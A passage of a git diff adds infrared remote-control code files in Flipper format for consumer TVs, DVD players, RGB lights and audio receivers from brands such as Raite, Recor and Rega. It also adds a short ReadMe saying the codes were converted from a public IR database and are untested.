NECext +address: 00 7F 00 00 +command: 48 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 49 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir b/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir new file mode 100644 index 000000000..3c767b3d6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 00 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 03 00 00 00 +# +name: store +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 07 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 0B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 0E 00 00 00 +# +name: t_ab +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 0F 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 11 00 00 00 +# +name: st_lt +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 13 00 00 00 +# +name: east +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 15 00 00 00 +# +name: west +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 16 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 17 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 18 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir new file mode 100644 index 000000000..3ff45ac5b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: Vocal-Assist +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 01 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 03 00 00 00 +# +name: Menu/Return +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: Resume +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 11 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: Repeat_1/All +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 15 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 16 00 00 00 +# +name: Repeat_A-B +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 17 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 18 00 00 00 +# +name: Skip_B +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 19 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1D 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1E 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1F 00 00 00 +# +name: Title/Digest +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 40 00 00 00 +# +name: Program +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 41 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 44 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 48 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 49 00 00 00 +# +name: PBC +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4C 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4D 00 00 00 +# +name: T/C_Search +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 50 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 51 00 00 00 +# +name: Angle/Clear +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 54 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 55 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 58 00 00 00 +# +name: Skip_F +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 59 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir new file mode 100644 index 000000000..8e4fc5839 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_R +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 01 00 00 00 +# +name: KEY_G +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 02 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 03 00 00 00 +# +name: R1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 04 00 00 00 +# +name: G1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: B1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 06 00 00 00 +# +name: R2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 07 00 00 00 +# +name: G2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 08 00 00 00 +# +name: B2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 09 00 00 00 +# +name: R3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0A 00 00 00 +# +name: G3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0C 00 00 00 +# +name: R4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0D 00 00 00 +# +name: G4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0E 00 00 00 +# +name: Strobe +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0F 00 00 00 +# +name: Smooth +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: Flash +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 11 00 00 00 +# +name: Fade +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 13 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 15 00 00 00 +# +name: B3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 17 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 18 00 00 00 +# +name: KEY_W +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 19 00 00 00 +# +name: L4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: L2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1C 00 00 00 +# +name: B4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1D 00 00 00 +# +name: L3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: L1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir new file mode 100644 index 000000000..c9df7676a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir @@ -0,0 +1,308 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: root +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: fb +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_3d +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: n/p +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: mark +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: cross +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: l/r +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: normal +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: equ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ReadMe.md b/assets/resources/infrared/_CSV-IRDB_/ReadMe.md new file mode 100644 index 000000000..e49010b8b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ReadMe.md @@ -0,0 +1,5 @@ +This is a [massive collection](https://github.com/probonopd/irdb) of CSV formatted IR codes that have now been converted to the Flipper IR format. + +Thank you Code6 for the conversion and files! [Converter by Spexivus](https://github.com/Spexivus/csv2ir). + +**PLEASE NOTE:** These files are untested and MAY be in a different protocol than what the Flipper is expecting. This could cause them to be incompatible and not work. If you're looking for something that isn't present elsewhere, it's still a good thing to try. Please let us know if you find one that doesn't work! diff --git a/assets/resources/infrared/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir new file mode 100644 index 000000000..4ea493ac0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 07 00 00 00 +# +name: SCREEN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: BRIGHT+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: BRIGHT- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: CONTRAST+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: CONTRAST- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0D 00 00 00 +# +name: COLOR+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: COLOR- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: KEY_1- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 20 00 00 00 +# +name: SWOPT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 23 00 00 00 +# +name: FT+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 24 00 00 00 +# +name: FT- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 25 00 00 00 +# +name: KEY_M +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 26 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 28 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 29 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2E 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2F 00 00 00 +# +name: TV|TL +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 31 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 33 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 35 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 36 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Rega/Receiver/110,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Rega/Receiver/110,-1.ir new file mode 100644 index 000000000..bcd39720c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Rega/Receiver/110,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0D 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 11 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 12 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 14 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 17 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 18 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 19 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1A 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1B 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1D 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1E 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Rega/Receiver/135,124.ir b/assets/resources/infrared/_CSV-IRDB_/Rega/Receiver/135,124.ir new file mode 100644 index 000000000..cab1e6c95 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Rega/Receiver/135,124.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: FM +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 81 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: 82 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D1 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 87 7C 00 00 +command: D2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Rega/Receiver/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Rega/Receiver/16,-1.ir new file mode 100644 index 000000000..a2a935ce5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Rega/Receiver/16,-1.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: PHONO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 01 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: LINE_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: LINE_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 24 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir b/assets/resources/infrared/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir new file mode 100644 index 000000000..621070644 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir @@ -0,0 +1,362 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_-_PREVIOUS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: CHANNEL_-_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: CHANNEL_-_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: CURSOR_-_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: CURSOR_-_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: CURSOR_-_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: CURSOR_-_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: SELECT +type: 